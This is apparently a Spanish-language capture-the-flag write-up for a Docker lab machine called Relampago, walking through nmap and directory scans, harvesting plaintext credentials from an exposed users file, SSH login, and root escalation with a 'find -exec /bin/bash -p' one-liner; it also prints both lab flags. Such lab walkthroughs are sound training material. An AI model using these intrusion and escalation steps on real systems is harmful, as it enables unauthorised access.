

**Writeup**

**Maquina: Relampago**

**Sitio: <https://ctf.academia-ciberseguridad.com/machines>**

**Cyberdark**

**21 Abril 2025**



## Writeup - Maquina: Relampago

El Dia de hoy les compartiré la resolución de la maquina Relampago de **CyberConquer**

Link para descargar la Maquina

<https://drive.google.com/file/d/1baKOCOWzHC2ZFwDZikoxHvGjst-xxkZF/view?usp=sharing>

Una vez descargada la maquina ingresamos al directorio donde esta descargada la descomprimos y ejecutamos el siguiente comando `ash script.sh relampago_imagen.tar` El cual nos permite realizar el levantamiento de la maquina la cual está en Docker.



```
(root@Pandora)~[/home/cyberdark/dockerlabs/relampago]
# bash script.sh relampago_imagen.tar
Bienvenido a

CYBERCONQUER

Creando la imagen Docker para el CTF 🚀
Desplegando el contenedor victima
a9f8edd1fcf5064385e09c2ceb76e5b87f71c70a0f6afb6c974581d75f9da204
Contenedor Iniciado, la IP victima es 172.17.0.2

Si deseas terminar la maquina pulsa ctrl C

Ingresa la bandera de usuario: █
```

Una vez hemos levantado la máquina, ten presente que no puedes cerrar la ventana pues esto haría que se cerrara la máquina, además no sale un prompt esperando que digitemos la bandera, que encontraremos en la máquina.

Iniciamos con la fase de reconocimiento donde recopilamos informacion lo cual lo haremos desde Nmap, para saber que puertos están abiertos.

## Writeup - Maquina: Relampago

Esto implica usar un escaneo lento, evitar ping (host discovery), y técnicas como TCP SYN (-sS) que son menos ruidosas. (claro está que en entornos controlados lo hacemos mas rápido, pues no importa si se levanta mucho ruido)

```
(root@Pandora)-[/home/cyberdark/dockerlabs/injection]
# nmap -sS -Pn -p- --open -T5 --min-rate 1000 --max-retries
0 --min-parallelism 100 -v -oN scan_results.txt 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-20 21:08 -
05
Initiating ARP Ping Scan at 21:08
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 21:08, 0.05s elapsed (1 total host
s)
Initiating SYN Stealth Scan at 21:08
Scanning xXFBAQuXC3XAG (172.17.0.2) [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 21:08, 0.39s elapsed (65535 tot
al ports)
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.0000020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2
.621MB)
```

-T5: Eleva el perfil de velocidad al máximo. Ideal para laboratorios y redes controladas, pero úsalo con precaución en entornos de producción, ya que puede generar mucho tráfico.

--max-retries 0: Reduce los intentos de reenvío a cero para acelerar aún más el escaneo.

--min-rate 1000: Incrementa la tasa mínima de paquetes por segundo, haciendo el escaneo mucho más rápido.

```
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Dado que solo los puertos **22 (SSH)** y **80 (HTTP)** están abiertos, centrémonos en ellos:

## Writeup - Maquina: Relampago

Ya que sabemos que puertos están abiertos es hora de ponernos a la tarea de ver como ingresar por esos puertos.

Ejecutamos un Nmap sobre ese puerto para ver que más información podemos recolectar.

```
nmap 172.17.0.2 -p22,80 -sCV -A -T5 -oN log_relampago_scan.txt
```

```
(root@Pandora)-[/home/cyberdark/dockerlabs/injection]
# nmap 172.17.0.2 -p22,80 -sCV -A -T5 -oN log_relampago_scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-20 21:36 -05
Nmap scan report for xXFBAQuXC3XAG (172.17.0.2)
Host is up (0.000064s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
|_ ssh-hostkey:
|_   256 4f:e5:f6:81:4d:fa:71:db:c4:cf:5d:e0:ac:10:1d:ad (ECDSA)
|_   256 57:9d:ea:26:ff:fa:db:38:1d:17:a2:d6:ae:13:8f:51 (ED25519)
80/tcp    open  http      nginx 1.22.1
|_ http-title: Bienvenido al CTF
|_ http-server-header: nginx/1.22.1
MAC Address: 02:42:AC:11:00:02 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.06 ms  xXFBAQuXC3XAG (172.17.0.2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds
```

Enumeramos con dirb <http://172.17.0.2>

## Writeup - Maquina: Relampago

```
(root@Pandora)-[/home/cyberdark/dockerlabs/injection]
# dirb http://172.17.0.2

____
DIRB v2.22
By The Dark Raver
____

START_TIME: Sun Apr 20 21:42:16 2025
URL_BASE: http://172.17.0.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

____

GENERATED WORDS: 4612

____ Scanning URL: http://172.17.0.2/ ____
=> DIRECTORY: http://172.17.0.2/database/
+ http://172.17.0.2/index.html (CODE:200|SIZE:1201)

---- Entering directory: http://172.17.0.2/database/ ----
+ http://172.17.0.2/database/comments (CODE:200|SIZE:1338296)
+ http://172.17.0.2/database/logs (CODE:200|SIZE:2424685)
+ http://172.17.0.2/database/products (CODE:200|SIZE:710650)
+ http://172.17.0.2/database/transactions (CODE:200|SIZE:3089267)
+ http://172.17.0.2/database/users (CODE:200|SIZE:1013)
```

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

```
(root@Pandora)-[/home/cyberdark/dockerlabs/injection]
# gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/database (Status: 301) [Size: 169] [→ http://172.17.0.2/database/]
/index.html (Status: 200) [Size: 1201]
/index.html (Status: 200) [Size: 1201]
Progress: 18456 / 18460 (99.98%)

Finished
```

## Writeup - Maquina: Relampago

Como podemos observar el directorio database es accesible, además encontramos varios archivos, el users es el que más llama la atención vamos hacerle un curl <http://172.17.0.2/database/users>

```
(root@Pandora)-[/home/cyberdark]
# curl http://172.17.0.2/database
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>

(root@Pandora)-[/home/cyberdark]
# curl http://172.17.0.2/database/users
[
  {
    "id": 1,
    "nombre": "Grace",
    "email": "user1@outlook.com",
    "password": "ONI8AVORUity",
    "fecha_registro": "2023-04-05"
  },
  {
    "id": 2,
    "nombre": "David",
    "email": "user2@gmail.com",
    "password": "ODiqN0CKimPA",
    "fecha_registro": "2020-09-29"
  },
  {
    "id": 3,
    "nombre": "Frank",
    "email": "user5@outlook.com",
    "password": "Yf1m9MI3gmJT",
    "fecha_registro": "2024-06-28"
  },
  {
    "id": 4,
    "nombre": "Angela",
    "email": "user6@yahoo.com",
    "password": "T6f56dzQWi9C",
    "fecha_registro": "2021-01-07"
  },
  {
    "id": 8,
    "nombre": "Eve",
    "email": "user8@yahoo.com",
    "password": "xf2tumczbAfF",

```

Y logramos conseguir usuarios con sus contraseñas, ahora vamos a ir a ssh y ver cual nos permite el ingreso.

Después de probar con varios usuarios el único que permitió acceso fue Frank.



## Writeup - Maquina: Relampago

```
(root@Pandora)-[/home/cyberdark]/relampago
# ssh Frank@172.17.0.2
Frank@172.17.0.2's password:
Linux a9f8edd1fcf5 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64
/home/cyberdark/dockerlabs/relampago
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 21 03:17:17 2025 from 172.17.0.1
Frank@a9f8edd1fcf5:~$
```

Hacemos un `ls -a` para ver que directorios o archivos encontramos y vemos un `user.txt` el cual al hacerle un `cat`, encontramos un md5 , el cual con una herramienta de decodificar md5

```
Frank@a9f8edd1fcf5: ~
Archivo Acciones Editar Vista Ayuda
Frank@a9f8edd1fcf5:~$ ls -a
. . . .bash_history .bash_logout .bashrc local .profile user.txt
Frank@a9f8edd1fcf5:~$ cat user.txt
d5f21dc8036be01b09da01a75d8e4636
Frank@a9f8edd1fcf5:~$
```

Hemos encontrado una flag, la escribimos en la maquina y correcto tenemos la primera flag de usuario.

```
Ingresa la bandera de usuario: ✓ ¡Flag correcta! Buen trabajo.
```

Ahora vamos por la flag de root.

Ahora buscamos entre los binarios que podemos ejecutar como root

Y vamos a aprovechar de find

`/usr/bin/find . -exec /bin/bash -p \; -quit`

```
$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-5.2# ls -a
. . . README alternatives.log apt btmp dpkg.log exim4 faillog journal lastlog nginx private runit wtmp
bash-5.2# whoami
root
bash-5.2#
```

## Writeup - Maquina: Relampago

Ahora que tenemos privilegios de root, vamos a buscar la flag, vamos a buscar un archivo root.txt que es lo más común en estos tipos de retos ctf.

```
find / -name "root.txt" 2>/dev/null
```

encontramos el archive en /root/root.txt, ahora hagamos un cat para visualizarlo.

```
bash-5.2# find / -name "root.txt" 2>/dev/null
/root/root.txt
bash-5.2# cat /root/root.txt
f1486a23a498bff99b63206901edee1d
bash-5.2#
```

Y hemos encontrado

```
(root@Pandora)-[/home/cyberdark/dockerlabs/relampago]
# bash script.sh relampago_imagen.tar
Bienvenido a

CYBERCONQUER

Creando la imagen
Desplegando el contenedor victima
7197ef7f0700bd9f0b96948b3235961d2e49b88ddac93b1f385effa2ca2a052
Contenedor Iniciado, la IP victima es 172.17.0.2

Si deseas terminar la maquina pulsa ctrl C

Ingresa la bandera de usuario: x ¡Negativo, hacker! Prueba de nuevo.
Ingresa la bandera de usuario: x ¡Negativo, hacker! Prueba de nuevo.
Ingresa la bandera de usuario: x ¡Negativo, hacker! Prueba de nuevo.
Ingresa la bandera de usuario: ✓ ¡Flag correcta! Buen trabajo.
Ingresa la bandera de root: 🏆 ¡Root obtenido, Máquina dominada!
Felicidades! Haz logrado resolver la maquina!

(root@Pandora)-[/home/cyberdark/dockerlabs/relampago]
#
```

Recuerden, "Quien estudia, se arma con el poder de cambiar su destino."

Happy Hacking!!!

<https://github.com/Cyberdark-Security/>